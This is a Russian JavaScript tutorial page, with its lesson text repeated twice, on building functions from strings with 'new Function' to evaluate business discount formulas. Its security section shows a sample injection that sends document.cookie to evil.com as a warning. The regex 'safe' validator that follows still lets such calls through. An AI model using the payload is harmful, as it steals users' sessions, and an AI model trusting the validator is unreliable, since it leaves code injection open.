← JavaScript/Синтаксис "new Function"#128 из 383← ПредыдущийСледующий →+20 XP
Полезно по теме:Гайд: как учить JavaScriptПрактика: JS базаПрактика: async и сетьТермин: Closure

Синтаксис "new Function"

В системе управления заказами менеджеры хотят задавать формулы скидок прямо в интерфейсе: price * (1 - discount), Math.max(price - 500, price * 0.8). Формулы хранятся в базе данных как строки. Задача — вычислить их в runtime. Именно здесь нужен new Function.

Что решает new Function

new Function создаёт функции динамически из строк во время выполнения. Это нужно в редких, но реальных ситуациях: калькуляторы формул, шаблонизаторы, code-generation на клиенте.

На основе предыдущих уроков

  • функции: обычные способы объявления
  • замыкания: ключевое отличие — new Function замыкание НЕ создаёт
  • объекты: Object.keys, Object.values нужны для передачи переменных
  • глобальный объект: new Function видит только глобальную область видимости
  • Синтаксис

    const fn = new Function([arg1, arg2, ...argN], functionBody)
    // Без параметров
    const greet = new Function('return "Привет!"')
    console.log(greet())   // 'Привет!'
    
    // С параметрами
    const add = new Function('a', 'b', 'return a + b')
    console.log(add(3, 4)) // 7
    
    // Параметры через запятую в одной строке
    const clamp = new Function('v, min, max', 'return Math.max(min, Math.min(max, v))')
    console.log(clamp(150, 0, 100))  // 100

    Ключевое отличие: нет замыкания

    new Function создаётся в глобальной области видимости — она не видит локальные переменные окружения:

    function createValidator(threshold) {
      const limit = threshold * 2
    
      // Обычная функция — замыкание, видит limit
      const check1 = (x) => x < limit          // работает
    
      // new Function — НЕ видит limit, будет ReferenceError
      // const check2 = new Function('x', 'return x < limit')  // ОШИБКА!
    
      // Правильно: передавать переменные явно как параметры
      const check3 = new Function('x', 'limit', 'return x < limit')
      return (x) => check3(x, limit)            // работает
    }

    Переменные нужно передавать явно как аргументы или встраивать в строку тела.

    Реальный пример: вычислитель бизнес-формул

    function evaluate(formula, variables = {}) {
      const names = Object.keys(variables)
      const values = Object.values(variables)
    
      const fn = new Function(...names, `return (${formula})`)
      return fn(...values)
    }
    
    // Формулы хранятся в БД, вычисляются на лету
    evaluate('price * qty',               { price: 1500, qty: 3 })           // 4500
    evaluate('price * (1 - discount)',     { price: 5000, discount: 0.15 })   // 4250
    evaluate('Math.round(base * rate)',    { base: 1000, rate: 1.075 })       // 1075

    Ограничения и безопасность

    Никогда не передавайте в `new Function` необработанный ввод пользователя:

    // ОПАСНО — пользователь выполнит произвольный код
    const userInput = 'fetch("https://evil.com?c=" + document.cookie)'
    const fn = new Function(userInput)
    // fn()  // утечка данных!
    
    // Безопасно — только математические формулы с валидацией
    function safeEvaluate(formula, vars) {
      // Разрешаем только цифры, операторы, Math, имена переменных
      if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
        throw new Error(`Недопустимые символы в формуле: "${formula}"`)
      }
      const names = Object.keys(vars)
      const values = Object.values(vars)
      return new Function(...names, `return (${formula})`)(...values)
    }

    Типичные ошибки

    Ошибка 1: обращение к локальной переменной из new Function

    const taxRate = 0.2
    
    // Сломано: new Function не видит taxRate из замыкания
    const calcTax = new Function('price', 'return price * taxRate')
    // calcTax(1000)  // ReferenceError: taxRate is not defined
    
    // Исправлено: передать как параметр
    const calcTaxFixed = new Function('price', 'rate', 'return price * rate')
    console.log(calcTaxFixed(1000, taxRate))  // 200

    Ошибка 2: отсутствие return в теле функции

    // Сломано: функция ничего не возвращает
    const add = new Function('a', 'b', 'a + b')
    console.log(add(3, 4))  // undefined
    
    // Исправлено:
    const addFixed = new Function('a', 'b', 'return a + b')
    console.log(addFixed(3, 4))  // 7

    Ошибка 3: синтаксическая ошибка в строке бросает исключение

    try {
      const broken = new Function('return price *')  // синтаксическая ошибка
    } catch (err) {
      console.error('SyntaxError в теле функции:', err.message)
    }
    
    // Оборачивайте в try/catch при работе с динамическими формулами

    В реальных проектах

  • Spreadsheet-редакторы (Google Sheets-подобные): вычисление формул ячеек, введённых пользователем
  • Rule-engine: бизнес-правила хранятся в БД как строки и выполняются в runtime
  • Бандлеры и transpilers: генерируют код во время сборки (webpack, Rollup)
  • Шаблонизаторы: компилируют шаблоны в функции для максимальной производительности
  • Примеры

    Движок бизнес-правил: динамическое вычисление скидочных формул из базы данных

    // Движок вычисления скидок — формулы хранятся в БД
    function createFormulaEngine() {
      // Кэш скомпилированных формул (компилируем один раз)
      const compiledCache = new Map()
    
      function compile(formula, paramNames) {
        const cacheKey = formula + '|' + paramNames.join(',')
        if (compiledCache.has(cacheKey)) {
          return compiledCache.get(cacheKey)
        }
    
        // Базовая валидация — только математические выражения
        if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
          throw new Error(`Небезопасная формула: "${formula}"`)
        }
    
        try {
          const fn = new Function(...paramNames, `return (${formula})`)
          compiledCache.set(cacheKey, fn)
          return fn
        } catch (err) {
          throw new Error(`Синтаксическая ошибка в формуле "${formula}": ${err.message}`)
        }
      }
    
      return {
        evaluate(formula, variables) {
          const names = Object.keys(variables)
          const values = Object.values(variables)
          const fn = compile(formula, names)
          return fn(...values)
        },
        getCacheSize() {
          return compiledCache.size
        },
      }
    }
    
    const engine = createFormulaEngine()
    
    // Формулы из "базы данных"
    const pricingRules = [
      {
        name: 'Стандартная скидка',
        formula: 'price * (1 - discount)',
        params: { price: 5000, discount: 0.15 },
      },
      {
        name: 'Оптовая цена',
        formula: 'price * qty * (1 - Math.min(qty * 0.01, 0.3))',
        params: { price: 1200, qty: 25 },
      },
      {
        name: 'Максимум из двух скидок',
        formula: 'Math.max(price * 0.8, price - bonus)',
        params: { price: 8000, bonus: 2000 },
      },
      {
        name: 'Округлённая цена',
        formula: 'Math.round(price * rate / 100) * 100',
        params: { price: 7350, rate: 85 },
      },
    ]
    
    console.log('=== Результаты расчёта ===')
    pricingRules.forEach(rule => {
      const result = engine.evaluate(rule.formula, rule.params)
      const formatted = result.toLocaleString('ru-RU')
      console.log(`${rule.name}: ${formatted} ₽`)
    })
    // Стандартная скидка: 4 250 ₽
    // Оптовая цена: 21 000 ₽
    // Максимум из двух скидок: 6 000 ₽
    // Округлённая цена: 6 300 ₽
    
    console.log(`\nСкомпилировано формул: ${engine.getCacheSize()}`)
    
    // Повторный вызов берётся из кэша — компиляции не происходит
    engine.evaluate('price * (1 - discount)', { price: 3000, discount: 0.1 })
    console.log(`Кэш после повтора: ${engine.getCacheSize()}`)  // всё ещё 4
    
    // Обработка ошибок
    try {
      engine.evaluate('price * INVALID!!! formula', { price: 100 })
    } catch (err) {
      console.log('\nОшибка валидации:', err.message)
    }

    Синтаксис "new Function"

    В системе управления заказами менеджеры хотят задавать формулы скидок прямо в интерфейсе: price * (1 - discount), Math.max(price - 500, price * 0.8). Формулы хранятся в базе данных как строки. Задача — вычислить их в runtime. Именно здесь нужен new Function.

    Что решает new Function

    new Function создаёт функции динамически из строк во время выполнения. Это нужно в редких, но реальных ситуациях: калькуляторы формул, шаблонизаторы, code-generation на клиенте.

    На основе предыдущих уроков

  • функции: обычные способы объявления
  • замыкания: ключевое отличие — new Function замыкание НЕ создаёт
  • объекты: Object.keys, Object.values нужны для передачи переменных
  • глобальный объект: new Function видит только глобальную область видимости
  • Синтаксис

    const fn = new Function([arg1, arg2, ...argN], functionBody)
    // Без параметров
    const greet = new Function('return "Привет!"')
    console.log(greet())   // 'Привет!'
    
    // С параметрами
    const add = new Function('a', 'b', 'return a + b')
    console.log(add(3, 4)) // 7
    
    // Параметры через запятую в одной строке
    const clamp = new Function('v, min, max', 'return Math.max(min, Math.min(max, v))')
    console.log(clamp(150, 0, 100))  // 100

    Ключевое отличие: нет замыкания

    new Function создаётся в глобальной области видимости — она не видит локальные переменные окружения:

    function createValidator(threshold) {
      const limit = threshold * 2
    
      // Обычная функция — замыкание, видит limit
      const check1 = (x) => x < limit          // работает
    
      // new Function — НЕ видит limit, будет ReferenceError
      // const check2 = new Function('x', 'return x < limit')  // ОШИБКА!
    
      // Правильно: передавать переменные явно как параметры
      const check3 = new Function('x', 'limit', 'return x < limit')
      return (x) => check3(x, limit)            // работает
    }

    Переменные нужно передавать явно как аргументы или встраивать в строку тела.

    Реальный пример: вычислитель бизнес-формул

    function evaluate(formula, variables = {}) {
      const names = Object.keys(variables)
      const values = Object.values(variables)
    
      const fn = new Function(...names, `return (${formula})`)
      return fn(...values)
    }
    
    // Формулы хранятся в БД, вычисляются на лету
    evaluate('price * qty',               { price: 1500, qty: 3 })           // 4500
    evaluate('price * (1 - discount)',     { price: 5000, discount: 0.15 })   // 4250
    evaluate('Math.round(base * rate)',    { base: 1000, rate: 1.075 })       // 1075

    Ограничения и безопасность

    Никогда не передавайте в `new Function` необработанный ввод пользователя:

    // ОПАСНО — пользователь выполнит произвольный код
    const userInput = 'fetch("https://evil.com?c=" + document.cookie)'
    const fn = new Function(userInput)
    // fn()  // утечка данных!
    
    // Безопасно — только математические формулы с валидацией
    function safeEvaluate(formula, vars) {
      // Разрешаем только цифры, операторы, Math, имена переменных
      if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
        throw new Error(`Недопустимые символы в формуле: "${formula}"`)
      }
      const names = Object.keys(vars)
      const values = Object.values(vars)
      return new Function(...names, `return (${formula})`)(...values)
    }

    Типичные ошибки

    Ошибка 1: обращение к локальной переменной из new Function

    const taxRate = 0.2
    
    // Сломано: new Function не видит taxRate из замыкания
    const calcTax = new Function('price', 'return price * taxRate')
    // calcTax(1000)  // ReferenceError: taxRate is not defined
    
    // Исправлено: передать как параметр
    const calcTaxFixed = new Function('price', 'rate', 'return price * rate')
    console.log(calcTaxFixed(1000, taxRate))  // 200

    Ошибка 2: отсутствие return в теле функции

    // Сломано: функция ничего не возвращает
    const add = new Function('a', 'b', 'a + b')
    console.log(add(3, 4))  // undefined
    
    // Исправлено:
    const addFixed = new Function('a', 'b', 'return a + b')
    console.log(addFixed(3, 4))  // 7

    Ошибка 3: синтаксическая ошибка в строке бросает исключение

    try {
      const broken = new Function('return price *')  // синтаксическая ошибка
    } catch (err) {
      console.error('SyntaxError в теле функции:', err.message)
    }
    
    // Оборачивайте в try/catch при работе с динамическими формулами

    В реальных проектах

  • Spreadsheet-редакторы (Google Sheets-подобные): вычисление формул ячеек, введённых пользователем
  • Rule-engine: бизнес-правила хранятся в БД как строки и выполняются в runtime
  • Бандлеры и transpilers: генерируют код во время сборки (webpack, Rollup)
  • Шаблонизаторы: компилируют шаблоны в функции для максимальной производительности
  • Примеры

    Движок бизнес-правил: динамическое вычисление скидочных формул из базы данных

    // Движок вычисления скидок — формулы хранятся в БД
    function createFormulaEngine() {
      // Кэш скомпилированных формул (компилируем один раз)
      const compiledCache = new Map()
    
      function compile(formula, paramNames) {
        const cacheKey = formula + '|' + paramNames.join(',')
        if (compiledCache.has(cacheKey)) {
          return compiledCache.get(cacheKey)
        }
    
        // Базовая валидация — только математические выражения
        if (!/^[\d\s+\-*/().%a-zA-Z_,]+$/.test(formula)) {
          throw new Error(`Небезопасная формула: "${formula}"`)
        }
    
        try {
          const fn = new Function(...paramNames, `return (${formula})`)
          compiledCache.set(cacheKey, fn)
          return fn
        } catch (err) {
          throw new Error(`Синтаксическая ошибка в формуле "${formula}": ${err.message}`)
        }
      }
    
      return {
        evaluate(formula, variables) {
          const names = Object.keys(variables)
          const values = Object.values(variables)
          const fn = compile(formula, names)
          return fn(...values)
        },
        getCacheSize() {
          return compiledCache.size
        },
      }
    }
    
    const engine = createFormulaEngine()
    
    // Формулы из "базы данных"
    const pricingRules = [
      {
        name: 'Стандартная скидка',
        formula: 'price * (1 - discount)',
        params: { price: 5000, discount: 0.15 },
      },
      {
        name: 'Оптовая цена',
        formula: 'price * qty * (1 - Math.min(qty * 0.01, 0.3))',
        params: { price: 1200, qty: 25 },
      },
      {
        name: 'Максимум из двух скидок',
        formula: 'Math.max(price * 0.8, price - bonus)',
        params: { price: 8000, bonus: 2000 },
      },
      {
        name: 'Округлённая цена',
        formula: 'Math.round(price * rate / 100) * 100',
        params: { price: 7350, rate: 85 },
      },
    ]
    
    console.log('=== Результаты расчёта ===')
    pricingRules.forEach(rule => {
      const result = engine.evaluate(rule.formula, rule.params)
      const formatted = result.toLocaleString('ru-RU')
      console.log(`${rule.name}: ${formatted} ₽`)
    })
    // Стандартная скидка: 4 250 ₽
    // Оптовая цена: 21 000 ₽
    // Максимум из двух скидок: 6 000 ₽
    // Округлённая цена: 6 300 ₽
    
    console.log(`\nСкомпилировано формул: ${engine.getCacheSize()}`)
    
    // Повторный вызов берётся из кэша — компиляции не происходит
    engine.evaluate('price * (1 - discount)', { price: 3000, discount: 0.1 })
    console.log(`Кэш после повтора: ${engine.getCacheSize()}`)  // всё ещё 4
    
    // Обработка ошибок
    try {
      engine.evaluate('price * INVALID!!! formula', { price: 100 })
    } catch (err) {
      console.log('\nОшибка валидации:', err.message)
    }

    Задание

    Напиши функцию evaluate(formula, vars), которая принимает строку-формулу и объект с переменными, создаёт функцию через new Function и вычисляет результат. Например: evaluate("x * 2 + y", { x: 3, y: 4 }) должна вернуть 10.

    Подсказка

    const fn = new Function(...Object.keys(vars), `return (${formula})`); return fn(...Object.values(vars))

    Загружаем среду выполнения...
    Загружаем AI-помощника...